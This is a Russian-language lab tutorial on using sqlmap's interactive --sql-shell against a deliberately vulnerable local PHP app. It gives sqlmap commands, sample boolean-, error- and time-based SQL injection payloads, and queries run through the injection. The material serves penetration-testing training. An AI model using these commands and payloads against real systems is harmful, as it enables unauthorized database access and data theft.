Использование интерактивной SQL-оболочки в sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите одну из самых мощных функций sqlmap: интерактивную SQL-оболочку. sqlmap — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций и захвата серверов баз данных.

Хотя sqlmap может автоматизировать извлечение данных, опция --sql-shell предоставляет вам прямой интерактивный доступ к серверной базе данных. Это позволяет выполнять пользовательские SQL-запросы, предоставляя вам большую гибкость и контроль во время тестирования на проникновение. Вы узнаете, как установить инъекцию, запустить оболочку и выполнить команды для опроса базы данных.

Установление успешной инъекции в целевой объект

На этом этапе вы будете использовать sqlmap для сканирования веб-приложения и подтверждения его уязвимости к SQL-инъекциям. Наш установочный скрипт уже создал простое уязвимое PHP-приложение, работающее на локальном сервере Apache. Нам нужно указать sqlmap на целевой URL и позволить ему выполнить первоначальный анализ.

Сначала выполните следующую команду sqlmap в вашем терминале. Мы используем флаг -u для указания целевого URL и --batch для запуска в неинтерактивном режиме, принимая все ответы по умолчанию.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap выполнит серию тестов. Дождитесь завершения. Вывод покажет, что параметр GET id уязвим. Это подтверждение является необходимым первым шагом, прежде чем мы сможем перейти к эксплуатации.

Вы должны увидеть вывод, похожий на этот, подтверждающий уязвимость:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

Запуск интерактивной SQL-оболочки с помощью --sql-shell

На этом этапе вы будете использовать опцию --sql-shell для получения интерактивной SQL-командной строки в целевой базе данных. Теперь, когда вы подтвердили точку инъекции, вы можете дать команду sqlmap предоставить вам прямой доступ.

Выполните ту же команду sqlmap, что и раньше, но на этот раз замените опцию --batch на --sql-shell.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap повторно подтвердит инъекцию, а затем предоставит вам специальный запрос: sql-shell>. Это означает, что вы находитесь в интерактивной сессии с серверной базой данных. Любой допустимый SQL-запрос для целевой СУБД (которая, как мы знаем, является MySQL) может быть выполнен из этой командной строки.

Вывод будет выглядеть следующим образом:

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Выполнение пользовательского SQL-запроса, например SELECT @@version

На этом этапе вы выполните свою первую команду в интерактивной SQL-оболочке. Это продемонстрирует вашу способность напрямую запрашивать базу данных. Распространенным первым запросом является проверка версии базы данных.

В приглашении sql-shell> введите следующий SQL-запрос и нажмите Enter. Не забудьте поставить точку с запятой в конце.

SELECT @@version;

sqlmap возьмет ваш запрос, внедрит его во уязвимый параметр, отправит на сервер и вернет вам результат. Переменная @@version в MySQL возвращает строку, содержащую версию серверной базы данных.

Версия базы данных будет напечатана непосредственно в вашей консоли:

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

Выполнение другого пользовательского запроса, например SELECT user()

На этом этапе вы выполните еще один запрос для дальнейшего исследования базы данных. Это укрепит концепцию интерактивного управления. Давайте выясним, какой пользователь базы данных используется веб-приложением для подключения к базе данных.

В приглашении sql-shell> введите запрос SELECT user() и нажмите Enter.

SELECT user();

Эта команда просит базу данных вернуть имя пользователя и хост текущей сессии. Это ценная информация для понимания уровня привилегий вашей инъекции.

Вывод покажет пользователя базы данных, которого мы настроили в скрипте установки:

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

Выход из интерактивной SQL-оболочки и возврат в терминал

На этом заключительном этапе вы научитесь правильно выходить из интерактивной SQL-оболочки и возвращаться к стандартному приглашению терминала.

Чтобы выйти из sql-shell>, просто введите exit или quit и нажмите Enter.

exit

sqlmap закроет сессию и вернет вас в каталог ~/project в вашем терминале Zsh. На этом интерактивная сессия с базой данных завершена.

Вывод подтвердит завершение сессии:

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

Теперь вы успешно использовали интерактивную оболочку sqlmap для выполнения пользовательских запросов и вернулись в обычную командную строку.

Резюме

В этой лабораторной работе вы успешно освоили одну из самых мощных функций sqlmap — интерактивную SQL-оболочку.

Вы начали с выявления уязвимости SQL-инъекции в целевом приложении с помощью базового сканирования sqlmap. Затем вы использовали эту уязвимость, запустив интерактивную сессию с флагом --sql-shell. Внутри этой оболочки вы выполняли пользовательские SQL-запросы, такие как SELECT @@version; и SELECT user();, для прямого опроса базы данных и извлечения информации. Наконец, вы научились выходить из оболочки и возвращаться в терминал. Этот навык необходим любому специалисту по тестированию на проникновение, которому требуется детальный контроль над скомпрометированной базой данных.